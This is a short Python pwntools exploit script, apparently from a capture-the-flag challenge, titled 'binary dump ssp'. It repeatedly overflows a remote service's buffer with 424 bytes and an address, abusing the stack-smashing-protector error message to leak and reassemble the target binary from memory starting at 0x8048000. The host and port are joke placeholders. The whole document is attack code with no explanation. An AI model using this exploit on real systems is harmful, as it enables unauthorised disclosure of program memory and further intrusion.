binary dump ssp

from pwn import *

context.log_level = 'error'
start=0x8048000
bin_dump=''
for _ in xrange(1000):
	s= remote('never.gonna.give.u.up',thistoo)
	s.recv(100)
	s.send('A'*424+p32(start)+'\n')
	a=s.recv(100,timeout=1)
	if len(a[57:-12])==0:
		bin_dump+='\x00'
		start+=1
	else:
		bin_dump+=a[57:-12]
		bin_dump+="\x00"
		start+=(len(a[57:-12])+1)
	s.close()
print repr(bin_dump)